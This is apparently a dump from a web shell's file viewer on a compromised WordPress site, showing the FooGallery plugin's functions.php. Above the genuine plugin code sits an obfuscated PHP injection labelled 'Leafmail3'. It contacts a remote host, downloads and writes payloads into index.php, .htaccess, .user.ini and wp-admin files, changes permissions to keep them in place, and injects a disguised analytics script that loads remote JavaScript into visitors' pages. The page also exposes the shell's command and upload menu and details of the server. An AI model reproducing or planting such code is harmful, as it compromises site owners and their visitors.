Server IP : 192.168.23.10  /  Your IP : 3.14.131.115
Web Server : Apache
System : Linux echo.premieradvertising.com 5.14.0-362.8.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 7 14:54:22 EST 2023 x86_64
User : rrrallyteam ( 1049)
PHP Version : 8.1.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /home/rrrallyteam/public_html/wp-content/plugins/foogallery/includes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/rrrallyteam/public_html/wp-content/plugins/foogallery/includes/functions.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php

/**
 * FooGallery global functions
 *
 * @package   FooGallery
 * @author    Brad Vincent <brad@fooplugins.com>
 * @license   GPL-2.0+
 * @link      https://github.com/fooplugins/foogallery
 * @copyright 2014 FooPlugins LLC
 */
/**
 * Returns the name of the plugin. (Allows the name to be overridden from extensions or functions.php)
 * @return string
 */
function foogallery_plugin_name()
{
    return apply_filters( 'foogallery_plugin_name', 'FooGallery' );
}

/**
 * Return all the gallery templates used within FooGallery
 *
 * @return array
 */
function foogallery_gallery_templates()
{
    return apply_filters( 'foogallery_gallery_templates', array() );
}

/**
 * Return a specific gallery template based on the slug
 * @param $slug
 *
 * @return bool|array
 */
function foogallery_get_gallery_template( $slug )
{
    foreach ( foogallery_gallery_templates() as $template ) {
        if ( $slug == $template['slug'] ) {
            return $template;
        }
    }
    return false;
}

/**
 * Return the FooGallery extension API class
 *
 * @return FooGallery_Extensions_API
 */
function foogallery_extensions_api()
{
    return new FooGallery_Extensions_API();
}

/**
 * Returns the default gallery template
 *
 * @return string
 */
function foogallery_default_gallery_template()
{
    return foogallery_get_setting( 'gallery_template' );
}

/**
 * Returns if gallery permalinks are enabled
 *
 * @return bool
 */
function foogallery_permalinks_enabled()
{
    return foogallery_get_setting( 'gallery_permalinks_enabled' );
}

/**
 * Returns the gallery permalink
 *
 * @return string
 */
function foogallery_permalink()
{
    return foogallery_get_setting( 'gallery_permalink' );
}

/**
 * Return the FooGallery saved setting, or a default value
 *
 * @param string $key The key for the setting
 *
 * @param bool $default The default if no value is saved or found
 *
 * @return mixed
 */
function foogallery_get_setting( $key, $default = false )
{
    $foogallery = FooGallery_Plugin::get_instance();
    return $foogallery->options()->get( $key, foogallery_get_default( $key, $default ) );
}

/**
 * Sets a specific option based on a key
 *
 * @param $key
 * @param $value
 *
 * @return mixed
 */
function foogallery_set_setting( $key, $value )
{
    $foogallery = FooGallery_Plugin::get_instance();
    return $foogallery->options()->save( $key, $value );
}

/**
 * Builds up a FooGallery gallery shortcode
 *
 * @param $gallery_id
 *
 * @return string
 */
function foogallery_build_gallery_shortcode( $gallery_id )
{
    return '[' . foogallery_gallery_shortcode_tag() . ' id="' . $gallery_id . '"]';
}

/**
 * Returns the gallery shortcode tag
 *
 * @return string
 */
function foogallery_gallery_shortcode_tag()
{
    return apply_filters( 'foogallery_gallery_shortcode_tag', FOOGALLERY_CPT_GALLERY );
}

/**
 * Helper method for getting default settings
 *
 * @param string $key The default config key to retrieve.
 *
 * @param bool $default The default if no default is set or found
 *
 * @return string Key value on success, false on failure.
 */
function foogallery_get_default( $key, $default = false )
{
    $defaults = array(
        'gallery_template'           => 'default',
        'gallery_permalinks_enabled' => false,
        'gallery_permalink'          => 'gallery',
        'lightbox'                   => 'none',
        'thumb_jpeg_quality'         => '90',
        'gallery_sorting'            => '',
        'datasource'                 => 'media_library',
    );
    // A handy filter to override the defaults.
    $defaults = apply_filters( 'foogallery_defaults', $defaults );
    // Return the key specified.
    return ( isset( $defaults[$key] ) ? $defaults[$key] : $default );
}

/**
 * Returns the FooGallery Galleries Url within the admin
 *
 * @return string The Url to the FooGallery Gallery listing page in admin
 */
function foogallery_admin_gallery_listing_url()
{
    return admin_url( 'edit.php?post_type=' . FOOGALLERY_CPT_GALLERY );
}

/**
 * Returns the FooGallery Add Gallery Url within the admin
 *
 * @return string The Url to the FooGallery Add Gallery page in admin
 */
function foogallery_admin_add_gallery_url()
{
    return admin_url( 'post-new.php?post_type=' . FOOGALLERY_CPT_GALLERY );
}

/**
 * Returns the FooGallery help page Url within the admin
 *
 * @return string The Url to the FooGallery help page in admin
 */
function foogallery_admin_help_url()
{
    return admin_url( add_query_arg( array(
        'page' => FOOGALLERY_ADMIN_MENU_HELP_SLUG,
    ), foogallery_admin_menu_parent_slug() ) );
}

/**
 * Returns the FooGallery settings page Url within the admin
 *
 * @return string The Url to the FooGallery settings page in admin
 */
function foogallery_admin_settings_url()
{
    return admin_url( add_query_arg( array(
        'page' => FOOGALLERY_ADMIN_MENU_SETTINGS_SLUG,
    ), foogallery_admin_menu_parent_slug() ) );
}

/**
 * Returns the FooGallery extensions page Url within the admin
 *
 * @return string The Url to the FooGallery extensions page in admin
 */
function foogallery_admin_extensions_url()
{
    return admin_url( add_query_arg( array(
        'page' => FOOGALLERY_ADMIN_MENU_EXTENSIONS_SLUG,
    ), foogallery_admin_menu_parent_slug() ) );
}

/**
 * Returns the FooGallery system info page Url within the admin
 *
 * @return string The Url to the FooGallery system info page in admin
 */
function foogallery_admin_systeminfo_url()
{
    return admin_url( add_query_arg( array(
        'page' => FOOGALLERY_ADMIN_MENU_SYSTEMINFO_SLUG,
    ), foogallery_admin_menu_parent_slug() ) );
}

/**
 * Returns the FooGallery pricing page Url within the admin
 *
 * @return string The Url to the FooGallery pricing page in admin
 */
function foogallery_admin_pricing_url()
{
    return admin_url( add_query_arg( array(
        'page' => FOOGALLERY_ADMIN_MENU_PRICING_SLUG,
    ), foogallery_admin_menu_parent_slug() ) );
}

/**
 * Returns the FooGallery free trial pricing page Url within the admin
 *
 * @return string The Url to the FooGallery free trial page in admin
 */
function foogallery_admin_freetrial_url()
{
    return add_query_arg( 'trial', 'true', foogallery_admin_pricing_url() );
}

/**
 * Get a foogallery template setting for the current foogallery that is being output to the frontend
 * @param string	$key
 * @param string	$default
 *
 * @return mixed
 */
function foogallery_gallery_template_setting( $key, $default = '' )
{
    global  $current_foogallery ;
    global  $current_foogallery_arguments ;
    global  $current_foogallery_template ;
    $settings_key = "{$current_foogallery_template}_{$key}";
    
    if ( $current_foogallery_arguments && array_key_exists( $key, $current_foogallery_arguments ) ) {
        //try to get the value from the arguments
        $value = $current_foogallery_arguments[$key];
    } else {
        
